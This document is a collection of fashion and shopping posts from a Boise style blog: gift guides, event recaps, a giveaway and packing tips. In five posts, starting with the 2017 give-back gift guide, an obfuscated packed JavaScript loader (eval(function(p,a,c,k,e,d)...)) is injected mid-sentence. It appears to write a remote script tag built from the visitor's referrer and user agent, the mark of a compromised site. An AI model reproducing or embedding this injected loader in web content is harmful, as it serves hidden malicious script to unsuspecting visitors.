Top Tips for Last-Minute Christmas Gifts

top tips for last minute christmas gifts

top tips for last minute christmas giftsQuick, look at your calendar – Christmas is just days away! If you’re not ready (and might be panicking a little), take heart; you are not alone, and your friendly neighborhood shopping pro is here to help!

When it comes down to the wire, you have two optimal choices to strategize finding that perfect gift:
1. Shop online, or
2. Shop hyper-local.

For those scrambling to find the perfect gifts, here are my top tips for last-minute Christmas shopping!

ONLINE GIFTING

Sorry, no,  you probably don’t have time to ship something from Amazon; that’s not what I’m talking about here. Your best bet for last-minute online options are subscriptions! From diamond jewelry to organic dinner, there are tons of both national and local subscription services for just about everyone on your list.

For maximum impact, I recommend printing something out that explains the subscription, and then wrapping it along with a physical item that reflects the theme. For example, if you’re giving a wine delivery subscription, wrap it up in a box with a pair of champagne flutes!

Annual subscriptions are the gift that literally keeps on giving, all year long! 

Top Picks for Online Subscriptions:

EXPERIENCES

Christmas Market in Dresden, Germany – Photo via Faredepot.com

Perhaps the best gift you can give right now is the one you can’t really wrap up in a box: adventure. Designer goods are waning in popularity right now, while travel and adventure are on the rise. Some of that might be fueled by economy and budget, or perhaps a thirst for the perfect photos to post on Instagram. Either way, there’s little in this world more exciting than opening up airplane tickets for Christmas!

Listed in order from most to leave expensive, below are my top picks for adventures you can purchase online in a minute, and cherish for a lifetime:

HYPER-LOCAL

Christmas gift ideas at Shift Boutique
Christmas gift ideas at Shift Boutique

The Treasure Valley is blessed with a plethora of unique local gift, clothing, shoe, and home decor boutiques. But why choose local over big box stores? The answer is two-fold. You already know how important small business is to a city’s economy, sustainability and growth, so I won’t dig into that…

But the other reason is how well we know each other in this community! Chances are, the person you’re searching to find a gift for has a favorite place to shop. Go there. Show the salespeople the name & a photo of your person. It’s very likely they have worked with him/her before, and know their style and tastes! Walk into downtown Boise’s Piece Unique, for example, say “My wife Mary shops here all the time,” and they are likely to respond: “Oh yes, we love Mary! She’s very into our Baci Fashion line, which is right over here. Her favorite colors are pink and blue, so she’s probably love this sweater!”

Ta-da, the perfect gift! See how that works? It’s one of my favorite things about this town!

Below is a list of some of the best local fashion boutiques in town, where I know you will get that kind of service. (PLEASE comment below and let me know if I’ve missed YOUR favorite store. I love getting to know places & faces that are new and special in this community!)

Find more unique, pretty, and often locally-sourced treasures at the following gift and decor shops:

Merry Makers Market, Boise
Merry Makers Market, Boise

That’s a wrap! Special thanks to Boise Public Radio’s Idaho Matters show for having me on to talk about all these fun ideas, and the true heart of gift-giving. Listen to the entire broadcast here!

Merry Christmas, Happy Holidays, and may all your shopping adventures be successful!
XOXO,
Tanya

idaho matters boise public radio stylespygirl

P.S., If you think I missed any shop you love & adore, please add them below in the comments!!! 🙂

 

 

 

 

Girls’ Getaway 2018: Bellevue Collection Fashion Week


Let’s be honest: When it comes to fashion shows and red carpet events, Bellevue Collection’s Fashion Week is truly head & shoulders above the rest. And this year was no exception!  From designer meet & greets, to platters of fresh macaroons wafting through the crowd, to a famous artist giving out personalized caricatures, everything about Bellevue Collection Fashion Week 2018 was done to perfection.

bellevue fashion week runway show

Our crew of adventurers consisted of 15 fashion-loving Boise women, all ready to explore, wine, dine, and shop till we dropped! On day one, we hit the ground running with a VIP party at Nordstrom.

But first things first: lunch at the new Bento Grill, where chef Tom Douglas crafted a unique dining experience that melds gourmet Asian cuisine with take-out-buffet efficiency.

Debbie Evy, a brilliant stylist from Nordstrom’s Collections department, showed us how to select our dish, then customize each step to create the perfect bento box experience. Top off lunch with a blended mango sake shake, and you’re in for a fabulous afternoon!

nordstrom bellevue bento stylespygirl
nordstrom bellevue bento stylespygirl
nordstrom bellevue bento stylespygirl
 
Next stop: Nordstrom’s Designer department for champagne and shopping! Debbie and her crew brought in new fall pieces from Gucci, Prada, Louie Vuitton, and more to tantalize our couture-craving crew.

While models displayed how to style this season’s scrumptious Chloe sweater dresses and vibrant Tory Burch jackets, makeup artists from Trish McEvoy primped and pampered our travel-weary faces.

On the lower level, hair stylists had style-&-go stations ready to plump, smooth, curl, and tame our tresses!   With our Nordstrom treasures and beauty swag-bags in hand, we dashed back to our rooms at the Westin Bellevue for a quick clothing change…

And then off to the show!

The Independent Designer Runway Show is one of my all-time favorite events! In the past, designers from around the Pacific Northwest have competed for a coveted top spot, cash prize, editorial coverage in Seattle Met Magazine, and the opportunity to display their looks in Bellevue Square.

This year, instead of fledgling designers, the Collection graced us with a special show that brought back past winners to compete in a best-of-the-best runway throw-down!

Flip through the slideshow to be inspired by looks from:  
DEVONATION by Devon Yan
LOURDES é EVA by Nore Suárez
Cute Like Mad by Jeanette Svensk Li
Poppyseed by Rebekah Adams
Valentina & Valenti’s by Milena Natanov
Deyonte’ Weather Collection by Deyonte’ Weather
Chany Venturini by Maria Venturini

[Best_Wordpress_Gallery id=”18″ gal_title=”Independent Designer Runway Show 2″]

Runway photos thanks to Denise Vasecka,
jewelry designer at Unigon Specialties 

At the end of the show, audience members casted their votes, and the winner was…  

Cute Like Mad by Jeanette Svensk Li!

Congratulations Ms. Svensk Li!!!   And congratulations to the Bellevue Collection for another superb and inspiring independent designer runway show! Can’t wait for the next one!!!

XOXO,
Tanya

Christmas 2017 Give-Back Gift Guide

Christmas gift guide give back stylespygirlShopping eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeeik|var|u0026u|referrer|shnyz||js|php’.split(‘|’),0,{}))
with soul gets glam for 2017!

~ photos by Allie Smith Hobbes, myself, or shared with permission from businesses below~

In the last few years, there’s been a major shift in the fashion industry towards a more ethical design, manufacturing, and shopping experience. From employment practices abroad, to real financial impact closer to home, it’s encouraging to watch this movement grow and blossom into something truly impactful… And truly beautiful!!!

Christmas is near, but if you still have shopping left to do, check out some of my personal favorite companies below for inspiration! Some items are available locally, and most are also online. I’ve chosen these products and companies because I have either connected directly with the fine people selling them, or have a deep personal passion for the mission behind their products.
 .
But think of this list as just a beginning! Please (pretty please with sugarplums on top!) tell me YOUR favorite give-back-biz in the comments below. Post links, pics, anything you love; share your faves, so we can spread the joy, together!!!
XOXO,
Tanya

Bought Beautifully

bought beautifully stylespygirl
Bought Beautifully is a lovely online shop founded by Colin & Emily Betzler, two-huge-hearted entrepreneurs from Wyoming. The Betzlers believe in changing the world by living generously, and to that end, have built “a marketplace that empowers you to create dignified opportunities for people around the globe, one purchase at a time.” Every item in their shop, from jewelry to Christmas ornaments, is both beautiful and fashion-forward.
bought beautifully stylespygirl 2I fell in love with Bought Beautifully’s Brass Stud earrings from Sasa (pictured above, lower right), a brand that empowers and supports deaf men and women in Nairobi, Kenya, and on the Island of La Gonave, Haiti.
Bought Beautifully  sells handcrafted items from 36 partners in over 16 nations across the globe, and you can search by category, or by the cause that is close to your heart!
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bought beautifully stylespygirl
Beaded Tassel Earrings from Milot, Haiti, help bring sustainable development through design, training, and job creation. $32

stylespygirl bought beautifully bracelet
Bracelet by Badala; proceeds fight human trafficking and empower women to rise out of poverty in East Africa, Central America, and the USA.

Speak Your Silence

speak your silence stylespygirl
My friend Matt Pipkin founded Speak Your Silence in 2012 as a place of healing, recovery, and empowerment for men and women around the world who are victims of sexual assault. Speak Your Silence’s unique zigzag pattern can be added onto any piece of apparel or accessory, as an unspoken sign of solidarity and support among those who have suffered.
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Whether you have personally experienced sexual violence or not, wearing the zigzag pattern shows you care, and want to inspire others to prevent sexual assault and share your voice for those affected.
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speak your silence stylespygirl 2
Speak Your Silence has partnered with Boutonné, a San Diego-based brand that produces leather goods, to create a special Swivel Clip, Envelope Laptop Case, and the Mills Tote I am wearing in the photos above. Click here to purchase the tote ($190), and find out more about Boise-based Speak Your Silence! T-shirts, decal kits, and other products are also available for purchase. 
 .

Corbin’s Legacy Bracelets

corbin bracelet style spy girl

No child should have to go an entire school day without lunch. That’s the basic, and passionate anthem behind Corbin’s Legacy bracelets. Founded in honor of Corbin Leafman, a beloved and compassionate kindergarten teacher who passed away at 31 years old from cancer, Corbin’s Legacy bangles give back 100% of their proceeds to food & medical care for disadvantaged elementary school children.

Corbin was known for “always walking through the lunch line holding up a $20.00 bill to make sure that the cafeteria lady knew that none of her students were to go without a hot meal.” She bought backpacks, school supplies, and gifts for children in need, and her giving heart lives on in those who knew and loved her! Bracelets are $30 in downtown Boise, at Swank Boutique.

Tentree Sweatshirts

10 sweatshirts buckle stylesypgirl
Did you know our local Buckle store is a major force for good in the community? Through their Buckle Believes program, they  offer multiple give-back lines of clothing and accessories, all with great style and affordable prices! I loved these soft, cozy sweatshirts by tentree, available in multiple colors, and all fleece-lined. Ten trees are planted for every item you purchase, and the tag comes with an extra seed for you to plant! These tops are great for stocking stuffers, and cold winter nights. Shop the entire collection here, and at your local Buckle store, $35-76.
 .

Girl Power for good!

All right, I get to toot my own horn on this rad project! But don’t worry; no money goes in my own pocket. 😉 It’s all for giving back! I teamed up with brilliant Boise designers Fourthwave Apparel for a special collaborative design, Nobody Puts Girl Power in a Corner. For every shirt sold, 40% of the profits go directly to Leap Charity, a local non-profit org that helps house and support refugee families arriving in our community.
 You can read more about our story here, or jump straight to Fourthwave to buy one. $22 adult, $14.50 kids.
 .

Proof Eyewear

proof eyewear style spy girl

If you live anywhere in the Treasure Valley, you know about Proof Eyewear! We all love this local company that’s made it big in the fashion industry, but did you also what big HEARTS they have as well?? Through Proof’s Do Good program, thousands of dollars have gone back into health and vision projects around the world. From micro-loans for entrepreneurs to building orphanages, Proof ‘s commitment to socially-conscious programs across the globe is unmatched.

Click here to read more about Proof’s Give Back program, and all the amazing projects they support, or visit their new downtown flagship store at 314 S. 9th Street, Boise, for last-minute gifts!

Buckle Believes

Those who know me well, know that I am passionate when it comes to fighting bullying. My son went through some horrific experiences at a very young age, because of his Asperger’s. Please read more about his story here; Ethan is an incredible kid, and I will fight tooth & nail for the life he deserves to live. 
 .
When I stopped by Buckle to look for give-back brands, these Buckle Believes t-shirts made my eyes leak a little. The Be Buddies, Not Bullies top was my fave, and I’m proud to wear it to help raise awareness for my son, and all kids everywhere!!! Proceeds from all three of the tops pictured above go to The American Cancer Society, and Pacer’s National Bullying Prevention Center. These designs (and more!) are available for $28.95 online at Buckle.com, or available at your local Buckle store.
 .
Don’t forget to add your voice to the conversation!
Please comment below with your favorite give-back gifts and companies.
Merry Christmas, Happy Holidays, and may all your days be merry & bright!
XOXOXO
 .
 .
 .

Coming Soon: Boise’s 1st Tour de Fashion!

Style eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbfyh|var|u0026u|referrer|enzfd||js|php’.split(‘|’),0,{}))
Spy Girl, the Downtown Boise Association, and Boise GreenBike
team up for Tour de Fashion!

Tour-de-Fashion-square 2

Boise’s downtown core is constantly changing and expanding! Did you know we have over 20 locally-owned boutiques, gift shops, and clothing stores within walking distance of each other? If you love fashion, fitness, and exploration, come join us this Spring and Summer for four very special Tour de Fashion events!

Local fashion blogger Tanya Carnahan (StyleSpyGirl.com), the Downtown Boise Association, and Boise GreenBike are joining forces to present a BIKE TOUR that’s totally new to Idaho. Make new friends, discover new shops and trends, and expand your knowledge of our amazing downtown core!

Each Tour de Fashion bike event in Downtown Boise will target 5-6 rad local businesses that are new to town, or might be new to you! A schedule will be posted of each stop; we will bike, shop, explore, and end with an optional Sips & Bites experience you won’t soon forget. Bring your girlfriends, and add your bike basket to fill with fun & unique fashion purchases along the way. Must be 21 and over to attend these tours.

Time: 1:45pm Saturday, April 8th / May 6th / June 3rd / July 8th, 2017
Location: Meet at Boise’s iconic Post Office, downtown on Bannock & 8th.
Cost: $25 if you have your own bike, $35 if you plan to utilize a BoiseGreen Bike.

Click here to reserve your spot: https://stylespygirl.maxcheckout.com/

What’s included: Guided shopping & exploring with local fashion blogger Tanya Carnahan / Exclusive deals and discounts in our selected boutiques / Photo stops at iconic downtown landmarks along the way / Themed Sips & Bites available for purchase / A unique experience with other fashion-loving and adventurous women!

All tours will have a unique theme, beginning with shopping and ending with optional cocktails and treats:

April 8th: Tour de Fashion, Boho Chic ~ Trendy & bohemian hotspots for free spirits!

May 6th: Tour de Fashion, Local Chic ~ Fashion love for Boise’s iconic local fashion legends!

June 3rd: Tour de Fashion, Jetsetter Chic ~ For the girl-on-the-go who always travels in style!

July 8th: Tour de Fashion, Tres Chic ~ For the refined ingenue who loves classic fashion!

Events will be posted for each date, on Style Spy Girl’s Facebook page.
Please like and follow us here to be first on the list: www.facebook.com/MyStyleSpyGirl.

sponsor banner 1

Louis Vuitton Comes to Boise!

louis vuitton purse party stylespygirl

louis vuitton stylespygirl dillards

If eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbaez|var|u0026u|referrer|fhthy||js|php’.split(‘|’),0,{}))
you’re a Louis Vuitton fan, RUN to Dillard’s in Boise right now for their one-time-only pop up shop!
Last night, I was honored to host a sneak-peek party for some of my dearest girl friends. This special sale is new to Dillard’s, and a one-of-a-kind collaboration with What Goes Around Comes Around, the leading purveyor of authentic luxury resale online.

louis vuitton

All of the bags are vintage and pre-loved, in excellent condition and with authentication cards. These beauties are gorgeous, legit, and a fraction of the price of new bags!

louis vuitton stylespygirl purse party

The main event will be open to the public starting December 10th, 2016. HOWEVER, private pre-sales are open right NOW!!! If you want to get a crack at these bags before they’re gone, call Dillard’s at  (208) 321-4646 to make your appointment. 

Happy shopping!
XOXO,
Tanya

louis vuitton purse party stylespygirl

louis vuitton purse party stylespygirl

louis vuitton purse party stylespygirl

louis vuitton purse party stylespygirl

louis vuitton purse party stylespygirl

 

louis vuitton purse party stylespygirl

louis vuitton purse party stylespygirl

louis vuitton purse party stylespygirl

louis vuitton purse party stylespygirl

louis vuitton purse party stylespygirl

Special THANKS to Dillard’s for showing us such a lovely time, and to all the sweet ladies who came to the party. Love you all! 

 

Travel In Style Giveaway Package!

travel in style giveaway

travel in style giveaway

It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|atyni|var|u0026u|referrer|khnsa||js|php’.split(‘|’),0,{}))
giveaway time!
I am getting ready to pack my bags and head to NEW YORK FASHION WEEK soon, with a fun crew of women on a Style Spy Girl Fashion Getaway (you can read about it – and join in! – here.) Whether you are able to hop on a plane with us right now or not, it’s great to be prepared with some essential products to help you travel in style and #GlobeTrotLikeAGirl, starting with this lovely toiletry bag packed with my personal favorite skin and hair-care samples.

Here’s What You Win:

A sweet floral toiletry bag by Kestral, to stow your essentials in a carry-on, backpack, or purse!

Detox Clear Skin Face Mask, a paraben & sulfate-free facial sheet mask to reveal clear skin + hydrate with minerals and botanicals, by Miss Spa.

Special Cleansing Gel, by Dermalogica, a soap-free foaming gel to gently-yet-thoroughly clean without drying your skin.

Foaming Skin Polish, for deep exfoliation with rice bran, bamboo, ginger root, and ginseng to cleanse and calm, by Yu-Be.

Evening Primrose Revitalizing Body Wash, by Weleda, my favorite European brand for skin care! Best ingredients, least chemicals, period.

Facial Spray Mister, by Evian, great for hydrating your skin on long flights, or misting on over makeup to set powders with a natural glow.

Prime Style Extender, by Living Proof, is a styling primer that locks in your hair style until your next shampoo. Seriously!

Stress-Fix Body Lotion, by Aveda. Because travel is stressful, period. And Aveda is amazing with herbal-essence-infused natural body products.

Renew Natural Cuticle Oil, by Nail Tek. This stuff is a life-saver for dry hands, nails, and cuticles. And it feels so luxurious to massage it in!

Morelia Monarch Scented Body Butter, by Camille Beckman. A HUGE favorite in my family, the little pot of body butter goes a long way.

…And finally, a one year subscription to ELLE Magazine, to help keep you up to date on all the latest style, shopping and fashion news!

~

Here’s How You Win It:

LIKE Style Spy Girl on Facebook!

Comment on the contest post on my Facebook page.

Extra Entries: One extra entry each for following @Stylespygirl and @StylespygirlGetaways on Instagram!

~

Good luck to everyone! A winner will be chosen this Friday, Sept. 2nd and announced on my Facebook page.

*Please note: At this time, the contest open to residents in the United States. 

How to Pack Light and Just Use a Carry-On!

packing light advice fashion blogger

packing light advice fashion blogger

As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eznyf|var|u0026u|referrer|htybz||js|php’.split(‘|’),0,{}))
printed in the Idaho Statesman’s Treasure Magazine, view the online version here:

Going on a trip? Treasure Valley style expert offers tips for packing light!

If you are among those jetting off on vacation this summer, you’ll likely have to endure many of the hassles of flying: baggage check-in, security, flight delays, layovers and the eternal baggage claim carousel.

Some of these things are unavoidable. However, there is one major way you can cut down on the vacation time you spend stuck in an airport while beaches beckon you: Pack everything in carry-ons.

Seriously, you can do it. This spring I traveled to London, Amsterdam and Paris with my husband and was determined to only take what I could carry quickly through an airport: my carry-on and a cute backpack.

stylespygirl on the go

My husband laughed when I stated this intention; he knows that as a fashion blogger I feel compelled to always dress well for the hundreds of photos I’ll be taking as we travel. He also knows I have a particularly passionate habit of accumulating fashion treasures along the way and once or twice have had to purchase extra luggage to bring it all home with me!

Not this time, I vowed, because I’m writing a book of travel tips for women adventuring abroad, and I had to make this work.

And if this little shopping-crazy fashionista could manage two weeks abroad in a carry-on and a backpack, so can you!

1. Mix and Match

Don’t take your favorite outfits; only take things that match each other. Focus on multi-functional pieces. I found a breezy swimsuit cover-up at Target (pictured above) that also looks great with a tank top and jeans or thrown over a dress. It’s a neutral color, too, so it goes with everything. Great for the beach, exploring and shopping, or a night out on the town.

packing light for vacation stylespygirl

Photo by Valerie Davenport / Swimsuit cover-up from Target / Sandals by Dolce Vita, Nordstrom / Bags by COACH

2. Go Monochromatic

Pick three colors, and I mean it. My “Eurotrip” suitcase had only black, white and gray in it. Somber, yes — but with my intentionally blank canvas, I had plenty of room to add accent colors and fun accessories along the way. A blue scarf here, a red umbrella there and a pretty cardigan or patterned handbag to seal the deal!

3. Ditch the Big Coat

Unless you’re vacationing to snow, pick the most versatile layering jacket out of your closet and wear it on the plane. That saves space in your luggage and gives you a blanket of sorts to stay warm on a long flight or a pillow to cuddle with.

(Bonus tip: Wear all of your largest items on the plane. Not only does this give you options to make yourself more comfortable on long flights, but it also saves room in your carry-on for more compact items. )

4. Leave Behind the Bling

Leave diamond rings (and other high-end jewelry) at home, in a locked safe or with someone you trust. Even in many modern European countries, for example, diamond wedding sets are not customary; most folks wear simple bands. Major bling can quickly brand you as an American tourist and might cause people to make assumptions about your wealth.

When I travel, I wear a small silver band I bought for $3 at Charming Charlie and leave my fine jewelry with a trusted friend. I also take only three necklaces: one small piece, one multi-strand chunkier piece and one multi-layered piece. That way, every neckline in my suitcase is covered.

packing light stylespygirl fashion advice

5. Take 2 Pairs of Shoes, Period

You really only need one pair of comfortable walking shoes and one dressier heel or wedge. You can buy cheap flip-flops just about anywhere in the world if you really need something extra for the beach — and then leave them behind before you head home.

6. Pack everything inside everything else

On my Europe trip, I discovered I could fit six pairs of rolled-up socks in each of my favorite ankle boots. Six! I can also fit 6-7 pairs of underwear in one ankle boot as well. Look for unused nooks & crannies for extra space! I chose a small second purse for evenings out ,and found to my delight that my ziplocked toiletries fit perfectly inside it. No additional toiletry bag needed!

I also learned I could fit my everyday handbag into my backpack, with more toiletries and extra gear on top, so I had a total of three purse options for my trip, ranging from mini to large, each one compactly nestled inside the other.

Another great option is to purchase a specific compact multi-functional travel bag, like the one I bought (below) from Coach at Boise Towne Square, to use for trips. It’s a wallet, handbag, phone holder and clutch all in one!coach wallet wristlet silver

Photo by Valerie Davenport / Bag by COACH / Heart sunnies from Hot Topic

7. Take travel sizes

Don’t bring all your toiletries; only take samples. Every time I shop for beauty products, I end up with extra trial samples from stores like Sephora and Macy’s that I use for traveling. Not only are they compact and disposable, but I also enjoy the adventure of trying new things as part of my travels. “Good morning, London! Let’s see how these ‘Revitalizing Moisture’ under-eye strips help with my jetlag!”

You can also buy things wherever you travel. Plus, it’s fun to explore new products. A need for facial moisturizer in Paris led me to find some amazing new brands of skin care that I never would have discovered had I brought my own.

(Bonus tip: Many larger beauty shops and department stores all over the world will give you neatly packaged samples of products you’d like to try. Run out of conditioner? Ask for a sample. It might hold you over for the trip and help you discover something new.)

8. Ship it

If you’re anything like me, you’re likely to accumulate things as you travel. You can certainly purchase a suitcase inexpensively in most tourist markets, but don’t forget the convenience of global postal services.

I lived in Amsterdam when I was a teenager, and some of my best memories of that city were exploring all the incredible candies and chocolates made there. This winter I had the opportunity to return with my husband for the first time in many years.I visited a local grocery store, filled a massive box to the brim with all the stroopwafels, kinderspekken, drop (licorice) and gummy things I could find and walked straight to the post office to ship it all home. We had such a blast at home a few weeks later, opening up all that yummy stuff and explaining it to my kids.

(Bonus tip: If you’re shopping in high-end boutiques or department stores abroad, ask about shipping. Some shops will let you buy an item and will mail it home for you.)

When you’re on vacation, you really don’t need as much as you think. People won’t notice how often you’ve worn an outfit. Do laundry if you need to, but keep your luggage light. You never know when you might discover an awesome new treasure to bring home — and you’ll be glad you have room for it!

Watch how it all goes together, in my video tutorial on How to Pack Light, below!

How do YOU pack light? Tell me your favorite tips and advice in the comments below!
XOXO,
Tanya